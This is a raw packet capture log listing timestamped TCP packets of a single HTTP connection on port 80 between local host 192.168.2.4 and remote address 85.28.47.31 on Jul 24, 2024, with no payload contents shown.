Jul 24, 2024 02:39:04.728883982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.728950024 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728981018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.728991985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.729015112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.729023933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.729048014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.729057074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.729082108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.729096889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.729115009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.729121923 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.729149103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.729157925 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.729182959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.729193926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.729217052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.729243994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.729259968 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.798592091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.798635006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.798691034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.798727036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.798760891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.798795938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.798799992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.798799992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.798799992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.798799992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.798799992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.798831940 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.798888922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.798888922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.798923016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.798979044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.810672998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.810739994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.810777903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.810831070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.810844898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.810844898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.810844898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.810864925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.810899019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.810914993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.810914993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.810934067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.810945034 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.810969114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.810986996 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811005116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811021090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811044931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811047077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811098099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811111927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811131954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811145067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811167002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811176062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811201096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811209917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811235905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811244011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811269045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811285019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811307907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811310053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811340094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811351061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811405897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811434984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811439991 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811470032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811474085 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811482906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811506033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811515093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811542034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811551094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811574936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811583042 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811609030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811640978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811645031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811661005 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811678886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811685085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811714888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811721087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811757088 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811758041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811791897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811803102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811825037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811835051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811860085 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811881065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811891079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811901093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811924934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811935902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.811959028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.811985016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812000036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812000990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812041998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812228918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812261105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812274933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812295914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812305927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812330008 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812345982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812362909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812388897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812397003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812403917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812431097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812439919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812465906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812474012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812510014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812742949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812774897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812787056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812808990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812819004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812841892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812858105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812877893 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812882900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812911034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812922001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812943935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812973022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.812979937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.812989950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813013077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813023090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813045979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813071966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813081026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813092947 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813113928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813138008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813152075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813184023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813190937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813190937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813218117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813231945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813254118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813283920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813302994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813585997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813617945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813643932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813652992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813659906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813685894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813694000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813719988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813735962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813752890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813760996 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813786983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813812971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813819885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813827038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813854933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813863039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813884020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.813896894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.813926935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.822377920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.822572947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.822590113 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.822607994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.822643995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.822658062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.822659016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.822690964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.822698116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.822731972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.822743893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.822782040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.822792053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.822817087 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.822825909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.822860003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.822868109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.822899103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.822906971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.822948933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.822954893 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823004961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823010921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823060989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823076010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823096037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823107004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823126078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823142052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823175907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823175907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823210955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823218107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823244095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823254108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823277950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823286057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823328018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823333025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823367119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823375940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823401928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823415995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823436022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823445082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823470116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823482037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823504925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823515892 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823539972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823551893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823575020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823582888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823610067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823618889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823642969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823657990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823692083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823714018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823746920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823780060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823813915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823848963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823951006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823985100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.823992014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823992014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823992014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823992014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823992014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.823992968 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.824071884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.893819094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.893837929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.893852949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.893868923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.893883944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.893898964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.893913984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.893929958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.894015074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.894015074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.894015074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.894015074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905287027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905328989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905383110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905445099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905495882 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905493975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905493975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905493975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905533075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905565023 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905565977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905591965 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905601025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905611038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905636072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905649900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905669928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905679941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905704021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905728102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905736923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905745983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905769110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905777931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905802965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905812025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905837059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905843973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905884027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905894041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905926943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905939102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905966997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.905967951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.905998945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906008959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906049013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906071901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906121016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906156063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906184912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906217098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906250954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906274080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906274080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906274080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906274080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906274080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906303883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906353951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906358004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906358004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906387091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906404972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906419992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906430006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906452894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906486034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906486034 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906512022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906522989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906529903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906557083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906568050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906594992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906603098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906641006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906758070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906790972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906822920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906857014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906892061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.906958103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906958103 CEST	49730	80	192.168.2.4	85.28.47.31
